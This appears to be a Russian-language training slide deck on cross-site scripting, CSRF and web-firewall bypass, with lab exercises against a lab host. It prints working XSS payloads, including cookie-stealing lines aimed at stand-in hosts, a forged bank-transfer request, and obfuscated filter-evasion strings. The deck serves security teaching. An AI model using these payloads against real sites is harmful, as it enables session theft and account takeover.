Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive  Technologies
План лабораторной работы   Введение в тему безопасности Web-приложений Уязвимость типа «Межсайтовое выполнение сценариев» Межсайтовое выполнение сценариев в Java/Flash-приложениях Обход фильтров безопасности и  Web Application Firewall (WAF) Резюме
Введение в тему безопасности Web-приложений …
Опасный мир  Web- приложений По данным компании  Positive Technologies  за 2009 год 79 % сайтов содержат критические уязвимости 58 % сайтов содержат уязвимости средней степени риска 54%  сайтов содержат уязвимости, которые эксплуатируются на стороне клиента http://ptsecurity.ru/analytics.asp Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».
Распределение вероятности обнаружения уязвимостей по степени риска  ( данные за 2009 год ) http://ptsecurity.ru/analytics.asp
Классификация уязвимостей в  web- приложениях Web Application Security Consortium WASC-TCv2  /  OWASP Top 10 CWE/SANS Top 25 Most Dangerous Programming Errors 2010 Threat Classification References Mapping Proposal http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal http://projects.webappsec.org/Threat-Classification http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf
Опасный мир  Web- приложений :  статистика за 2009 г. Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»
Часть 1 :  Межсайтовое выполнение сценариев Уязвимость типа «Межсайтовое выполнение сценариев»   ( Cross-site Scripting, XSS)
Cross-Site Scripting  – Базовые знания "Межсайтовое выполнение сценариев" Уязвимость Cross-Site Scripting  ( XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.
"Межсайтовое выполнение сценариев"   может использоваться для : Подмены содержимого сайта ( content spoofing ,  fishing ) Получения доступа к данным  в контексте уязвимого сайта (например, к содержимому  document.cookie ) Проведения атак на компоненты среды клиента (браузер,  ActiveX, Adobe, etc .) Распространения вредоносного кода ( ajax-worms ) Cross-Site Scripting  – Базовые знания
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=WhatIsWebSecurity ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot;  type=&quot;text&quot; name=&quot;q“ value=&quot;What Is Web Security&quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot;  class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=&quot;><script>alert('XSS')</script> ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot;  name=&quot;q“ value=&quot; &quot;><script>alert('XSS')</script> &quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot;  value=&quot; Искать&quot;></ td> </tr> ...
Cross-Site Scripting  – Базовые знания Условно  Cross-Site Scripting (XSS)  делят на следующие типы : Сохраненный вариант  (persistent/stored) Отраженный вариант  (non-persistent/reflected) Cross-Site Scripting  обычно можно   встретить : В  HTML - теге В теле  JavaScript / VBScript/etc (eq DOM-based) В коде- HTML В параметре тега- HTML В  Java/F lash   приложениях В  ActiveX … Cross-Site Scripting  – это уязвимость на стороне клиента ( client side ) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension
Cross-Site Scripting  – Классическая эксплуатация Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script> HTML- код   возвращаемой страницы   примет вид В параметре тега   … <font size=&quot; &quot;><script>alert(1)</script> &quot; … В тексте … <p> &quot;><script>alert(1)</script> </p>… В результате браузер выполнит  J avaScript- код Пример практического использования :   &quot;><script src= http://host/script.js ></script>
Cross-Site Scripting  – Классическая эксплуатация Пример (1) – по событию Уязвимый  HTML- код: … <IMG SRC=&quot; $filename &quot;> … Эксплуатация: /?filename= &quot;onerror=alert('XSS');&quot; /?filename= &quot;onerror=javascript:alert('XSS');&quot; … HTML-код возвращаемой страницы примет вид: … <IMG SRC=&quot;&quot; onerror=alert('XSS'); &quot;&quot;> … Пример практического использования: /?filename=&quot;onerror=&quot;xss=new/**/Image().src=' http://host/sniff?c= '%2Bescape(document.cookie);&quot;
Cross-Site Scripting  – Различия браузеров http://projects.webappsec.org/Script-Mapping
Cross-Site Scripting  – Классическая эксплуатация Пример ( 2 ) –  DOM-based Уязвимый код: ... <select><script> document.write(&quot;<OPTION   value=1>&quot;+document.location.href.substring   (document.location.href.indexOf(&quot;default=&quot;)+8) +&quot;</OPTION>&quot;); document.write(&quot;<OPTION value=2>English</OPTION>&quot;); </script></select> ... Штатная работа сценария: /?default= Russia /?default = French … Эксплуатация: /?default= <script>alert(document.cookie)</script>
Cross-Site Scripting  – Безопасность  Cookie Атрибуты  Cookie Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HTTPOnly]
Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер 1.  fuzzing,  поиск  уязвимости 2.  Передача «заряженной» ссылки : http://web/?search=&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача  Web-сессии (cookies) 6. Работа с Web-приложением от  имени атакованного пользователя
Практическое занятие  (1) http:// 192 . 168 . 0 . 51 :80/ Найти уязвимость типа «Межсайтовое выполнение сценариев». Создать сниффер для записи полезных данных. Осуществить перехват сессии администратора приложения. Авторизоваться под учетной записью администратора приложения.
Часть  2:  Межсайтовое выполнение сценариев   в  Java/Flash Межсайтовое выполнение сценариев в  Java/Flash-приложениях
XSS && CSRF  – Базовые знания Уязвимость типа &quot;Подделка  HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF ,  XSRF) Практически не входит в статистику уязвимостей  Positive Technologies  и  WASC  по автоматизированным сканированиям (сложности при автоматизированном обнаружении) В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях  Степень опасности уязвимости  CSRF  на прямую зависит от функций и задач ,  решаемых приложением  Cross-Site Request Forgery  – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения  eCommerce  и др.) Зачастую применяется связка  XSS + CSRF
Наглядный пример атаки с использованием уязвимости типа« Подделка  HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
document.domain = &quot;example.com&quot;;  (!) Методы обхода -  Anti DNS Pinning,  уязвимости реализации Ограничения политики доступа ( Same origin policy ) URL Результат Причины http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел http://www.example.com:81/dir2/other.html Запрещено Одинаковый протокол и узел, но различающийся порт https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы http://en.example.com/dir2/other.html Запрещено Различающиеся  узлы http://example.com/dir2/other.html Запрещено Различающиеся  узлы (необходимы точные соответствия) http://v2.www.example.com/dir2/other.html Запрещено Различающиеся  узлы (необходимы точные соответствия)
Для безопасности используются изолированные зоны безопасности (Sandbox security model) Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml» <cross-domain-policy> <allow-access-from domain=&quot;*&quot;/> </cross-domain-policy> Или вызов соответствующей функции System.security.loadPolicyFile (&quot;http://site/crossdomain.xml&quot;);  Cross-Site Scripting  ( Java/Flash ) – Базовые знания
Потенциально небезопасные функции  ActionScript: loadVariables()  loadMovie()  getURL()  loadMovie()  loadMovieNum()  FScrollPane.loadScrollContent()  LoadVars.load()  LoadVars.send()  LoadVars.sendAndLoad()  MovieClip.getURL()  MovieClip.loadMovie()  NetConnection.connect()  NetServices.createGatewayConnection()  NetSteam.play()  Sound.loadSound()  XML.load()  XML.send()  XML.sendAndLoad() Cross-Site Scripting  ( Java/Flash ) – Базовые знания
Пример уязвимого кода на языке  JAVA Cross-Site Scripting  ( Java/Flash ) – Базовые знания
Практическое занятие  ( 2 ) http:// 192 . 168 . 0 . 51 :8 1 / Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться  AJAX- сценарием  http:// 192.168.0.51 :8085/act.js для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев». Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении. Авторизоваться под учетной записью созданного пользователя.
Часть  3:  Обход фильтров безопасности и WAF Обход фильтров безопасности и  WAF
Что такое  WAF http:// server /?id=6329&print=Y Нас атакуют!   Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=&quot;><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Поиск сигнатуры   /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
Какие они бывают По режиму работы : Мост / Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты : Основанный на сигнатуре ( Signature-based ) Основанный на правилах ( Rule-based ) По   реакции   на  « плохой »  запрос : Очистка «опасных» данных Блокировка запроса Блокировка источника атаки
Методы обхода  WAF Фундаментальные ограничения технологии Неспособность полностью защитить  Web- приложение от всех возможных уязвимостей Общие проблемы Разработчикам универсальных фильтров  WAF  приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации запроса Использование новых техник эксплуатации уязвимостей в  Web  ( HTTP Parameter Pollution ,  HTTP Parameter Fragmentation , замена  null-byte  и т.п. )
Общие проблемы Сохраненный вариант  XSS В случае если удалось «протащить»  XSS  через фильтр,  WAF  не сможет воспрепятствовать реализации атаки Отраженный вариант  XSS  в  JavaScript- коде (инъекция  JavaScript ) Пример :  <script> ... setTimeout(\&quot;writetitle()\&quot;, $_GET[xss] ) ... </script> Эксплуатация : /?xss= 500); alert(document.cookie);// DOM-based   XSS Пример :  <script> ... eval( $_GET[xss] ); ... </script> Эксплуатация : /?xss= document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от  XSS  на стороне клиента  client-side  (например,  IE8 ) Методы обхода  WAF – Cross-Site Scripting
Методы обхода  WAF:  Возможные способы кодирования  JavaScript Пример : <script>alert(1)</script> Hex- кодирование ( URL- представление) %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E HTML- кодирование &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 UTF7 +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4- …  UTF8, base64, escape-encoding   (style ) , etc
Методы обхода  WAF:  Возможные способы кодирования  JavaScript Пример  с  BlackHat USA09: <script> ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </script> BlackHat USA09 Eduardo Vela  (Эдуардо Вела) , David Lindsay  (Дэвид Линдсэй)  http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;
Методы обхода  WAF:  Возможные способы кодирования  JavaScript http://utf-8.jp/public/jjencode.html
Практика обхода WAF:  Cross-Site Scripting Обход правил фильтрации на примере  ModSecurity: 1;alert/*skip*/('XSS'); <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> &quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot; ... BlackHat USA09 Eduardo Vela  (Эдуардо Вела) , David Lindsay  (Дэвид Линдсэй)  http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Практическое занятие  ( 3 ) http:// 192 . 168 . 0 . 51 :8 2 / Найти уязвимость типа «Межсайтовое выполнение сценариев». Воспользоваться   техникой обхода  WAF. Осуществить перехват сессии администратора приложения. Восстановить используемый пароль администратора приложения по перехваченному хеш-значению  md5  используемого пароля. Авторизоваться под учетной записью администратора приложения.
Резюме лабораторной работы
Межсайтовое выполнение сценариев часто в стречается на широко известных и крупных Интернет-ресурсах Cross-Site Scripting  в «живой природе»
Резюме Cross-Site Scripting  – широко распространенная ошибка, допускаемая при разработке приложений Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны Правильно выстроенный процесс  Software Development Life Cycle (SDLC)  в значительной степени снижает вероятность появления уязвимостей в коде Защита  Web- приложений, также как и информационная безопасность в целом должна быть комплексной  :)
Дополнительные материалы и ссылки Web Application Security Consortium (WASC) http://projects.webappsec.org/Cross-Site+Scripting http://projects.webappsec.org/Script-Mapping Open Web Application Security Project (OWASP) http://www.owasp.org/index.php/Cross-site_Scripting_(XSS) ha.ckers XSS (Cross Site Scripting) Cheat Sheet http://ha.ckers.org/xss.html Jjencode http://utf-8.jp/public/jjencode.html
Спасибо за внимание! [email_address] http://devteev.blogspot.com/ http://ptresearch.blogspot.com/  http://www.ptsecurity.ru/

More Related Content

PPTX
Application security? Firewall it!
PPTX
Атаки на web-приложения. Основы
ODP
AJAX Security
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
PPT
Безопасность веб-приложений сегодня
PPT
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
PDF
Максим Кочкин (Wamba)
PDF
Samosadny mass csrf attacks via flash ads
Application security? Firewall it!
Атаки на web-приложения. Основы
AJAX Security
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Безопасность веб-приложений сегодня
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
Максим Кочкин (Wamba)
Samosadny mass csrf attacks via flash ads

What's hot (19)

PDF
Где прячутся мобильные вирусы — Григорий Земсков
PPT
ярослав рабоволюк
PPTX
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
DOC
PT MIFI Labxss
PPTX
Услуги PT для банков
KEY
Безопасность веб-приложений: starter edition
PPTX
Тестирование на проникновение в сетях Microsoft
PPTX
Взломать Нельзя Защитить: как взламывают сайты и как их эффективно защищать
PPTX
Как взламывают сети государственных учреждений
PDF
Improving web application defenses against XSS.
PDF
Почему взламывают даже защищенные CMS на безопасном хостинге
PPTX
Современный агрессивный интернет
PDF
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
PPTX
Тестирование на проникновение в сетях Microsoft (v.2)
PPTX
Статистика по результатам тестирований на проникновение и анализа защищенност...
PPTX
Уязвимости систем ДБО в 2011-2012 гг.
DOC
Техника и тактика работы с поисковиком и посетителем / Евгений Трофименко 14 ...
PPTX
Демонстрация атаки на ДБО
PPT
Анализ защищенности интернет-проектов
Где прячутся мобильные вирусы — Григорий Земсков
ярослав рабоволюк
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
PT MIFI Labxss
Услуги PT для банков
Безопасность веб-приложений: starter edition
Тестирование на проникновение в сетях Microsoft
Взломать Нельзя Защитить: как взламывают сайты и как их эффективно защищать
Как взламывают сети государственных учреждений
Improving web application defenses against XSS.
Почему взламывают даже защищенные CMS на безопасном хостинге
Современный агрессивный интернет
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Тестирование на проникновение в сетях Microsoft (v.2)
Статистика по результатам тестирований на проникновение и анализа защищенност...
Уязвимости систем ДБО в 2011-2012 гг.
Техника и тактика работы с поисковиком и посетителем / Евгений Трофименко 14 ...
Демонстрация атаки на ДБО
Анализ защищенности интернет-проектов
Ad

Viewers also liked (7)

PPT
РусКрипто CTF 2010 Full Disclosure (мастер класс)
PPTX
Unit 9 lesson b
PDF
Open Cloud Computing Interface - OCCI Status update
PDF
OCCI Introduction
PDF
CCA09 Cloud Computing Standards and OCCI
PDF
Abstract iwa no ranking outcome
РусКрипто CTF 2010 Full Disclosure (мастер класс)
Unit 9 lesson b
Open Cloud Computing Interface - OCCI Status update
OCCI Introduction
CCA09 Cloud Computing Standards and OCCI
Abstract iwa no ranking outcome
Ad

Similar to PT MIFI Labxss (20)

PPT
Web Threats
PDF
Pt devteev-risspa
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
PDF
Risspa domxss
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
PPT
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
PDF
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
PPT
Оценка защищенности Web-приложений
PPT
Sergey Gordeychik SQADays 2008
PDF
ONsec browsers security PHD2011
PDF
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
PDF
11 лекция, петр волков
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
PPT
Введение в тему безопасности веб-приложений
PDF
Безопасность сайта: мифы и реальность — Петр Волков
PPT
WAF наше все?!
PPT
Безопасность
PDF
[ONSEC ]XSS vs waf
Web Threats
Pt devteev-risspa
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Waf.js: как защищать веб-приложения с использованием JavaScript
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Risspa domxss
Эволюция атак на веб приложения (Evolution of web applications attacks)
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Оценка защищенности Web-приложений
Sergey Gordeychik SQADays 2008
ONsec browsers security PHD2011
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
11 лекция, петр волков
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Введение в тему безопасности веб-приложений
Безопасность сайта: мифы и реальность — Петр Волков
WAF наше все?!
Безопасность
[ONSEC ]XSS vs waf

More from Dmitry Evteev (19)

PPTX
Противодействие хищению персональных данных и платежной информации в сети Инт...
PPTX
penetest VS. APT
PPT
Реальные опасности виртуального мира.
PPTX
Истории из жизни. Как взламывают сети крупных организаций.
PPTX
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
PPTX
Типовые проблемы безопасности банковских систем
PPTX
PHDays 2012: Future Now
PPTX
Такой (не)безопасный веб
PPTX
Собираем команду хакеров
PPT
PHDays CTF 2011 Quals/Afterparty: как это было
PPT
Практика проведения DDoS-тестирований
PPT
Мобильный офис глазами пентестера
PPT
Penetration testing (AS IS)
PPT
CC HackQuest 2010 Full Disclosure (мастер-класс)
DOC
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
DOC
РусКрипто CTF 2010 Full Disclosure (мастер класс)
PPT
Развитие систем анализа защищенности. Взгляд в будущее!
PPT
Ломаем (и строим) вместе
PPT
Ruscrypto CTF 2010 Full Disclosure
Противодействие хищению персональных данных и платежной информации в сети Инт...
penetest VS. APT
Реальные опасности виртуального мира.
Истории из жизни. Как взламывают сети крупных организаций.
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Типовые проблемы безопасности банковских систем
PHDays 2012: Future Now
Такой (не)безопасный веб
Собираем команду хакеров
PHDays CTF 2011 Quals/Afterparty: как это было
Практика проведения DDoS-тестирований
Мобильный офис глазами пентестера
Penetration testing (AS IS)
CC HackQuest 2010 Full Disclosure (мастер-класс)
Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
Развитие систем анализа защищенности. Взгляд в будущее!
Ломаем (и строим) вместе
Ruscrypto CTF 2010 Full Disclosure

PT MIFI Labxss

  • 1. Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies
  • 2. План лабораторной работы Введение в тему безопасности Web-приложений Уязвимость типа «Межсайтовое выполнение сценариев» Межсайтовое выполнение сценариев в Java/Flash-приложениях Обход фильтров безопасности и Web Application Firewall (WAF) Резюме
  • 3. Введение в тему безопасности Web-приложений …
  • 4. Опасный мир Web- приложений По данным компании Positive Technologies за 2009 год 79 % сайтов содержат критические уязвимости 58 % сайтов содержат уязвимости средней степени риска 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента http://ptsecurity.ru/analytics.asp Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».
  • 5. Распределение вероятности обнаружения уязвимостей по степени риска ( данные за 2009 год ) http://ptsecurity.ru/analytics.asp
  • 6. Классификация уязвимостей в web- приложениях Web Application Security Consortium WASC-TCv2 / OWASP Top 10 CWE/SANS Top 25 Most Dangerous Programming Errors 2010 Threat Classification References Mapping Proposal http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal http://projects.webappsec.org/Threat-Classification http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf
  • 7. Опасный мир Web- приложений : статистика за 2009 г. Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»
  • 8. Часть 1 : Межсайтовое выполнение сценариев Уязвимость типа «Межсайтовое выполнение сценариев» ( Cross-site Scripting, XSS)
  • 9. Cross-Site Scripting – Базовые знания &quot;Межсайтовое выполнение сценариев&quot; Уязвимость Cross-Site Scripting ( XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.
  • 10. &quot;Межсайтовое выполнение сценариев&quot; может использоваться для : Подмены содержимого сайта ( content spoofing , fishing ) Получения доступа к данным в контексте уязвимого сайта (например, к содержимому document.cookie ) Проведения атак на компоненты среды клиента (браузер, ActiveX, Adobe, etc .) Распространения вредоносного кода ( ajax-worms ) Cross-Site Scripting – Базовые знания
  • 11. Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=WhatIsWebSecurity ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot; name=&quot;q“ value=&quot;What Is Web Security&quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
  • 12. Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер http://web/?search=&quot;><script>alert('XSS')</script> ... <tr> <td valign=&quot;center&quot;><input class=&quot;inputtext&quot; type=&quot;text&quot; name=&quot;q“ value=&quot; &quot;><script>alert('XSS')</script> &quot;></td> <td valign=&quot;center&quot;><input type=&quot;submit&quot; class=&quot;inputbutton&quot; value=&quot; Искать&quot;></ td> </tr> ...
  • 13. Cross-Site Scripting – Базовые знания Условно Cross-Site Scripting (XSS) делят на следующие типы : Сохраненный вариант (persistent/stored) Отраженный вариант (non-persistent/reflected) Cross-Site Scripting обычно можно встретить : В HTML - теге В теле JavaScript / VBScript/etc (eq DOM-based) В коде- HTML В параметре тега- HTML В Java/F lash приложениях В ActiveX … Cross-Site Scripting – это уязвимость на стороне клиента ( client side ) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension
  • 14. Cross-Site Scripting – Классическая эксплуатация Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script> HTML- код возвращаемой страницы примет вид В параметре тега … <font size=&quot; &quot;><script>alert(1)</script> &quot; … В тексте … <p> &quot;><script>alert(1)</script> </p>… В результате браузер выполнит J avaScript- код Пример практического использования : &quot;><script src= http://host/script.js ></script>
  • 15. Cross-Site Scripting – Классическая эксплуатация Пример (1) – по событию Уязвимый HTML- код: … <IMG SRC=&quot; $filename &quot;> … Эксплуатация: /?filename= &quot;onerror=alert('XSS');&quot; /?filename= &quot;onerror=javascript:alert('XSS');&quot; … HTML-код возвращаемой страницы примет вид: … <IMG SRC=&quot;&quot; onerror=alert('XSS'); &quot;&quot;> … Пример практического использования: /?filename=&quot;onerror=&quot;xss=new/**/Image().src=' http://host/sniff?c= '%2Bescape(document.cookie);&quot;
  • 16. Cross-Site Scripting – Различия браузеров http://projects.webappsec.org/Script-Mapping
  • 17. Cross-Site Scripting – Классическая эксплуатация Пример ( 2 ) – DOM-based Уязвимый код: ... <select><script> document.write(&quot;<OPTION value=1>&quot;+document.location.href.substring (document.location.href.indexOf(&quot;default=&quot;)+8) +&quot;</OPTION>&quot;); document.write(&quot;<OPTION value=2>English</OPTION>&quot;); </script></select> ... Штатная работа сценария: /?default= Russia /?default = French … Эксплуатация: /?default= <script>alert(document.cookie)</script>
  • 18. Cross-Site Scripting – Безопасность Cookie Атрибуты Cookie Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HTTPOnly]
  • 19. Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев» Web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача Web-сессии (cookies) 6. Работа с Web-приложением от имени атакованного пользователя
  • 20. Практическое занятие (1) http:// 192 . 168 . 0 . 51 :80/ Найти уязвимость типа «Межсайтовое выполнение сценариев». Создать сниффер для записи полезных данных. Осуществить перехват сессии администратора приложения. Авторизоваться под учетной записью администратора приложения.
  • 21. Часть 2: Межсайтовое выполнение сценариев в Java/Flash Межсайтовое выполнение сценариев в Java/Flash-приложениях
  • 22. XSS && CSRF – Базовые знания Уязвимость типа &quot;Подделка HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF , XSRF) Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении) В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях Степень опасности уязвимости CSRF на прямую зависит от функций и задач , решаемых приложением Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения eCommerce и др.) Зачастую применяется связка XSS + CSRF
  • 23. Наглядный пример атаки с использованием уязвимости типа« Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
